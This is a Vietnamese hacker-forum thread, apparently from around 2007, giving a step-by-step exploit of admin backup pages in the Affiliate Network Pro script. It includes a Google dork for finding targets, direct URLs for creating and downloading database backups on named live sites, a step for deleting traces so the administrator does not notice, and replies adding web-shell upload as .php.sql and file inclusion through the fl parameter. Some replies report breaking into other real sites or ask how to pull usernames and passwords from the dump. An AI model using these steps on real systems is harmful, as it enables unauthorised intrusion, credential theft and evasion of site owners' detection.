| [Announcement] Affiliate Network Pro, mới tinh |
09/10/2007 11:01:30 (+0700) | #1 | 89597 |
hack2prison
Member
![[Minus]](/hvaonline/templates/viet/images/minus.gif "[Minus]") |
0 |
![[Plus]](/hvaonline/templates/viet/images/plus.gif "[Plus]")
|
|
Joined: 10/02/2004 10:43:43
Messages: 58
Offline
|
|
Nguồn: http://www.securityfocus.com/archive/1/481206
Lâu rồi, chăm sóc vợ sắp đẻ nên H2P không tham gia forum. Hôm nay ngồi ngứa nghề tìm ra cái bug stupid nhưng khá nguy hiểm.
Cũng chẳng có gì cao siêu nên H2P mới gọi là stupid bug, nhưng vấn đề là khai thác toàn diện. Lòng vòng nhiều quá, ta vào cuộc:
google keyword: allinurl: "index.php?Act=Merchants" Kết quả kha khá nhỉ? Thử thay trang tìm kiếm khác và vài từ khóa khác tự nghĩ ra nhé, hỏi là tớ chửi cho đấy.
Thử thằng đầu tiên nhé: http://www.eduaffiliates.com/index.php?Act=Merchants
1. http://www.eduaffiliates.com/admin/dump
sẽ thấy backup-23-08-2007.sql cái gì đây, lol file backup của nó đấy.
Trong trường hợp thư mục được bảo vệ bằng 1 file index, .htaccess, nó chưa backup hoặc file backup đã quá cũ (ngày tháng năm backup nằm trong tên file ấy) mà mình muốn lấy file backup mới nhất thì sao.
2. Tạo file backup
- http://www.eduaffiliates.com/admin/backupstart.php
click vào nút Backup
a. Quay lại: http://www.eduaffiliates.com/admin/dump
sẽ thấy file backup-14-09-2007.sql là file ta vừa tạo ra (ngày 14-09-2007) get it.
b. Trong trường hợp thư mục được bảo vệ bằng 1 file index, bạn không thấy được thì làm sao download. Đơn giản: http://www.eduaffiliates.com/admin/dump/backup-dd-mm-yyyy.sql
thay ngày tháng năm theo giờ sever nhé.
c. Trong trường hợp thư mục được bảo vệ bằng 1 file .htaccess bạn sẽ nhận lỗi Forbiden, cũng đơn giản thôi http://www.eduaffiliates.com/admin/downloadbackup.php?fl=backup-dd-mm-yyyy.sql
3. Xóa dấu vết
Đây là bước quan trọng để admin không biết bị đột nhập: http://www.eduaffiliates.com/admin/deletebackup.php?fl=backup-dd-mm-yyyy.sql
Ghi chú: Trang eduaffiliates.com đã die, tìm trang khác để thực hành. Một vài trang đã fix, Còn khá nhiều trang dính đấy.
COMPLETED - H2P |
|
|
 |
|
| [Question] Re: Affiliate Network Pro, mới tinh |
09/10/2007 11:12:13 (+0700) | #2 | 89603 |
hack2prison
Member
|
|
0 |
|
|
Joined: 10/02/2004 10:43:43
Messages: 58
Offline
|
|
Bổ sung:
- Added by leo9x:
http://[site]/[path]/admin/backupstart.php
Upload len shell file dạng .php.sql sẽ run được trên nhiều server: http://[site]/[path]/admin/dump/file.php.sql
- Added by navaro:
http://[site]/[path]/admin/downloadbackup.php?fl=[filename] -->Local File Inclusion |
|
|
|
|
| [Question] Re: Affiliate Network Pro, mới tinh |
27/10/2007 04:53:41 (+0700) | #3 | 93231 |
tomedison
Member
|
|
0 |
|
|
Joined: 02/01/2007 17:59:37
Messages: 9
Location: VN
Offline
|
|
cảm ơn anh nhiều,quả là có rất nhiều site đã fix lỗi
em ngồi 1h mò được cái http://affiliate.taxliensecret.com,nó không được bảo vệ bởi file .htaccess,vào dễ như chỗ không người |
|
|
|
|
| [Question] Re: Affiliate Network Pro, mới tinh |
30/10/2007 13:50:00 (+0700) | #4 | 93991 |
![[Avatar]](/hvaonline/images/avatar/5f0374c2a8c23fdab0cc107171cb5ff1.jpg "[Avatar]")
|
bonjovi288
Member
|
|
0 |
|
|
Joined: 03/09/2007 14:18:00
Messages: 2
Location: Metal
Offline
|
|
Hic! Em ngu dốt lắm!
Cho em mạo muội xin phép hỏi các anh là: có đc file backup đó rồi thì mình đc gì & sẽ làm gì ạ ?
Mong các anh giúp đỡ kẻ ngu đần |
|
|
| [Question] Re: Affiliate Network Pro, mới tinh |
02/11/2007 14:08:05 (+0700) | #5 | 94809 |
![[Avatar]](/hvaonline/images/avatar/fc7f550fba5fc2c6bf29fe6c0eaf47e2.png "[Avatar]")
|
kid_b0d
Member
|
|
0 |
|
|
Joined: 16/08/2006 00:49:55
Messages: 70
Location: Phan thiết, Bình thu
Offline
|
|
|
|
| [Question] Re: Affiliate Network Pro, mới tinh |
18/07/2008 11:35:33 (+0700) | #6 | 142075 |
XBinLadeNX
Member
|
|
0 |
|
|
Joined: 14/07/2008 00:01:29
Messages: 1
Offline
|
|
| Up con shell dạng .sql lên rùi làm sao chạy được nó vậy các bro? |
|
|
| Users currently in here |
|
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|
![[Rule]](/hvaonline/templates/viet/images/icon_mini_rule.gif "[Rule]"){kind=icon}
![[Home]](/hvaonline/templates/viet/images/icon_mini_groups.gif "[Home]"){kind=icon}
![[Portal]](/hvaonline/templates/viet/images/icon_mini_portal.gif "[Portal]"){kind=icon}
![[Members]](/hvaonline/templates/viet/images/icon_mini_members.gif "[Members]"){kind=icon}
![[Statistics]](/hvaonline/templates/viet/images/icon_mini_stats.gif "[Statistics]"){kind=icon}
![[Search]](/hvaonline/templates/viet/images/icon_mini_search.gif "[Search]"){kind=icon}
![[Reading Room]](/hvaonline/templates/viet/images/icon_mini_book.gif "[Reading Room]"){kind=icon}
![[Register]](/hvaonline/templates/viet/images/icon_mini_register.gif "[Register]"){kind=icon}
Register![[Login]](/hvaonline/templates/viet/images/icon_mini_login.gif "[Login]"){kind=icon}
Login [
Thông tin new bugs và exploits
![[Profile]](/hvaonline/templates/viet/images/en_US/icon_profile.gif "[Profile]"){kind=icon}
![[PM]](/hvaonline/templates/viet/images/en_US/icon_pm.gif "[PM]"){kind=icon}
![[Up]](/hvaonline/templates/viet/images/en_US/icon_up.gif "[Up]"){kind=icon}
![[Print Copy]](/hvaonline/templates/viet/images/en_US/icon_print.gif "[Print Copy]"){kind=icon}
![[WWW]](/hvaonline/templates/viet/images/icon_www.gif "[www]"){kind=icon}
![[Yahoo!]](/hvaonline/templates/viet/images/icon_yim.gif "[YIM]"){kind=icon}
![[Email]](/hvaonline/templates/viet/images/icon_email.gif "[E-mai]"){kind=icon}
( cái này mình biết sơ sơ à).
được save vào file backup.sql , ta download để tìm user và passwd.
![[digg]](/hvaonline/templates/viet/images/digg.gif "[digg]")
![[delicious]](/hvaonline/templates/viet/images/delicious.gif "[delicious]")
![[google]](/hvaonline/templates/viet/images/google.gif "[google]")
![[yahoo]](/hvaonline/templates/viet/images/yahoo.gif "[yahoo]")
![[technorati]](/hvaonline/templates/viet/images/technorati.gif "[technorati]")
![[reddit]](/hvaonline/templates/viet/images/reddit.gif "[reddit]")
![[stumbleupon]](/hvaonline/templates/viet/images/stumbleupon.gif "[stumbleupon]")